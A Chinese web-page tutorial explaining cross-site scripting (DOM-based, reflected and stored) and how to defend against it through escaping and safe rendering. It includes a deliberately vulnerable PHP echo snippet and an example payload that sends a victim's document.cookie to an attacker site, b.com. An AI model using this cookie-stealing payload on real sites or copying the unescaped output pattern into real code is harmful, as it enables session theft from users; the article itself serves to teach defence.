什么是XSS攻击,我们又该如何防范?
yuyutoo 2025-05-30 18:38 7 浏览 0 评论
什么是XSS?
XSS,全称为Cross Site Scripting,意思是跨站脚本攻击,为了与层叠样式表(CSS:Cascading Style Sheets)区分,故其缩写改为XSS。
XSS攻击的原理是恶意攻击者在Web页面里插入恶意脚本,当用户浏览该页面时,嵌入的脚本代码会被执行,从而达到攻击目的。通常攻击者会通过XSS攻击来盗取用户隐私信息。
XSS漏洞分类
攻击者之所以有可乘之机,就是因为Web系统存在可以被XSS攻击利用的漏洞。XSS漏洞主要分为持久型XSS漏洞和非持久性XSS漏洞。
非持久性XSS漏洞是指 用于攻击的XSS脚本不会被后端持久化保存在服务器上或数据库里面,攻击方式也不止一种,比如DOM XSS漏洞、反射性漏洞等。
DOM XSS
DOM-based XSS漏洞是基于文档对象模型(DOM: Document Object Model)的一种漏洞,通常是通过url传入参数来控制触发的。比如网页上有这么一段javascript代码:
<script>
document.write(location.href.substring(location.href.indexOf('default=') + 8));
</script>
这段代码的本意是:取出url里的default参数的值,然后显示到页面上。但这样会带来一个问题:如果default的值是一段包裹在script标签里的js代码,也会被加载执行。
基于这个漏洞,攻击者可以设计一个诱导用户点击的url:
http://www.a.com?default=<script>window.open("www.b.com?param="+document.cookie)</script>
一旦用户的浏览器打开了这个url,就会运行这行脚本:
window.open("www.b.com?param="+document.cookie)
也就是打开b.com网站,将用户的cookie信息发送到b.com。b.com就是攻击者搭建的网站,当b.com网站接收到该信息时,攻击者就盗取了用户的cookie信息。
反射性漏洞
DOM XSS漏洞的攻击是完全基于浏览器的,基于发射性漏洞的攻击还会经过后端,其攻击路径是:从浏览器到后端,再反射到浏览器上。
下面这个php代码的页面,就是一个反射性XSS攻击的演示。
<form action=''' method=''get'>
<input type="text" name="xss"/>
<input type="submit" value="test">
</form>
<?php
$xss = @$_GET['xss'];
if($xss !== null){
echo $xss
}
?>
这段代码中首先包含一个表单,提交表单向后端发送 GET 请求,带一个名为xss的参数。
PHP代码会读取xss参数,如果不为空,则直接打印出来。如果xss中存在 HTML 结构性的内容,打印之后会被浏览器直接渲染为 HTML 元素。
我们直接在表单输入框中输入一个js代码,比如<script>alert('hack')</script>。提交以后,会弹出一个对话框,我们被攻击了。
此时我们再来看下浏览器中的HTML代码,发现已经被注入了脚本。
为了防止出现非持久性XSS漏洞,尽量做到以下几点:
- 尽量不要从url,document.referrer,document.forms 中获取数据直接渲染。
- 尽量不要使用 eval(), document.write(),document.writeln(),element.innerHTML,document.createElement() 等有可能执行XSS代码的方法。
- 对涉及DOM渲染的方法传入的字符串参数做转义,也就是破坏HTML语法,目的是只做展示而不会执行任何脚本。
持久性XSS漏洞
持久性XSS漏洞一般存在于表单提交等交互功能,如发帖、留言、提交文本信息等,攻击者将用于攻击的内容经过正常提交,进入数据库持久化保存。当前端页面通过后端从数据库中读出注入的代码后,浏览器恰好将其渲染执行。
比如在某博客网站上发文章,文章中包括一段可执行的代码<script>window.open("www.b.com?param="+document.cookie)</script>,这样一来所有打开这篇文章的人的cookie信息都会被发送到b.com上。
持久性XSS漏洞被攻击有以下几个必要条件:
- POST请求提交表单后端没做转义直接入库
- 后端从数据库中取出数据没做转义直接输出给前端
- 前端拿到后端数据没做转义直接渲染页面
防止出现持久性XSS漏洞,需要前后端的配合,要做到以下几点:
- 后端在数据入库时,不能相信任何前端数据,将所有的字段统一进行转义处理。
- 后端对返回给前端的数据统一进行转义处理。
- 前端在渲染页面的时候不能相信任何后端数据,任何字段都需要做转义处理。
它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制,获取用户的一些信息。
与反射性攻击相比,持久性XSS漏洞攻击路径要更长:浏览器 -> 后端 -> 数据库 -> 后端 -> 浏览器。
总结
非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户浏览器执行,从而达到攻击目的。
非持久性XSS漏洞主要有以下几个特点:
- 不经过服务器储存
- 通常需要诱导用户点击恶意url
- 反馈率低,难以发现和修复
持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。
现在国内比较流行的前端开发框架是vue框架。如果使用vue框架来开发前端应用,那么要防止XSS攻击需要注意以下两点:
- 尽量使用插值表达式{{}},它会把要显示的内容转为字符串。
- 如果使用v-html,要保证来自服务端的渲染数据都是安全的。
相关推荐
- 实现分页的最简单的方式(附带源码下载)
-
分页是每个网站并不可少的,但是处理往往非常麻烦,虽然有很多的插件可以使用,但复杂度依然不减,今天我们来手敲一个最简单的实现方式,看够之后分页再也不是难题,而且以后用插件也懂原理了。手动擒来!文章概略:...
- 什么是XSS攻击,我们又该如何防范?
-
什么是XSS?XSS,全称为CrossSiteScripting,意思是跨站脚本攻击,为了与层叠样式表(CSS:CascadingStyleSheets...
- 网站wn万能命令wn.run怎么用?
-
wn万能命令是一个在线工具快捷跳转平台,将各种高质量的在线工具按应用站点聚合起来,让你以方便快捷好记的方式寻找和使用网页型在线工具。...
- 游客在三清山景区坐椅子拍照被强制收费 官方通报:已责令摄影点立即整改
-
大皖新闻讯7月31日,大皖新闻报道了游客称三清山景区坐下椅子拍照就被强制收费一事,引发关注。31日下午,三清山景区管理局发布情况通报称,经调查核实,视频反映情况属实,已责令该摄影点立即整改。官方发布情...
- 使用JavaScript如何获取网站网址
-
在做网站开发时,我们有时候会获取当前页面的完整路径。在网页前端如何实现呢?请在网页脚本代码段中粘贴如下代码。functiongetRootPath(){//获取当前网址,...
- 重磅发布!时间终于确定
-
]|\[sS])*"|'(?:[^\']|\[sS])*'|[^)}]+)s*)/g,l=window.testenv_reshost||window.__moon_host||"res.wx.qq...
- 收到一个神奇的任务,聊天工具运行不正常,原来是浏览器的问题
-
如何神奇呢?先来简单介绍一下背景,接下来再说一下这个现象如何神奇。出问题的是一个即时聊天工具插件,被嵌入到客户的第三方程序中。工程师说,我们自己的例子程序是没问题的,而且也不是所有的客户端都有问题。他...
- 微服务架构实战:商城的用户登录与账户切换设计、订单查询设计
-
商城的用户登录与账号切换设计在移动商城的设计中,除商品和分类查询是完全开放权限的页面外,其他涉及个人隐私的个人信息、订单查询和购物车等都必须进行权限管理。有关用户权限管理的功能,在这里根据移动设备的特...
- 前端进阶-每日一练(4)
-
本期问题:document.write和innerHTML、innerText有什么区别?jQuery中如何中断each遍历?如何查找数组中的最小值和最大值?如何做到优雅降级,渐进增强?$....
- js中的正则表达式入门
-
什么是正则表达式呢?...
- 前端路由简介以及vue-router实现原理
-
作者:muwoo来源:https://zhuanlan.zhihu.com/p/37730038...
- 详解三类的友情链接不能交换
-
“假PR页面导出链接太多专门的友情链接页无效链接内页的链接关联性网页快照更新的速度收录的数量nofollow生成静态伪装图片链接链接工厂下拉列表或滚动js脚本转向fram...
- 福建推进河(湖)长制工作:当好“施工队长”建设八闽幸福河湖
-
]|\[sS])*"|'(?:[^\']|\[sS])*'|[^)}]+)s*)/g,l=window.testenv_reshost||window.__moon_host||"res.wx.qq...
- 如何愉快地使用Via浏览器
-
...
- 将 Safari 打造成 iOS 里的快速启动中心:Bookmarklet
-
Safari作为iOS设备上我们使用最为频繁的App之一,它除了能让我们翱翔于无边的网际之外,其实利用它本身自带的书签功能我们还可以将其打造成一个快速启动中心。在桌面环境中大多数浏览器都允许...
你 发表评论:
欢迎- 一周热门
-
-
前端面试:iframe 的优缺点? iframe有那些缺点
-
带斜线的表头制作好了,如何填充内容?这几种方法你更喜欢哪个?
-
漫学笔记之PHP.ini常用的配置信息
-
推荐7个模板代码和其他游戏源码下载的网址
-
其实模版网站在开发工作中很重要,推荐几个参考站给大家
-
[干货] JAVA - JVM - 2 内存两分 [干货]+java+-+jvm+-+2+内存两分吗
-
正在学习使用python搭建自动化测试框架?这个系统包你可能会用到
-
织梦(Dedecms)建站教程 织梦建站详细步骤
-
【开源分享】2024PHP在线客服系统源码(搭建教程+终身使用)
-
2024PHP在线客服系统源码+完全开源 带详细搭建教程
-
- 最近发表
- 标签列表
-
- mybatis plus (70)
- scheduledtask (71)
- css滚动条 (60)
- java学生成绩管理系统 (59)
- 结构体数组 (69)
- databasemetadata (64)
- javastatic (68)
- jsp实用教程 (53)
- fontawesome (57)
- widget开发 (57)
- vb net教程 (62)
- hibernate 教程 (63)
- case语句 (57)
- svn连接 (74)
- directoryindex (69)
- session timeout (58)
- textbox换行 (67)
- extension_dir (64)
- linearlayout (58)
- vba高级教程 (75)
- iframe用法 (58)
- sqlparameter (59)
- trim函数 (59)
- flex布局 (63)
- contextloaderlistener (56)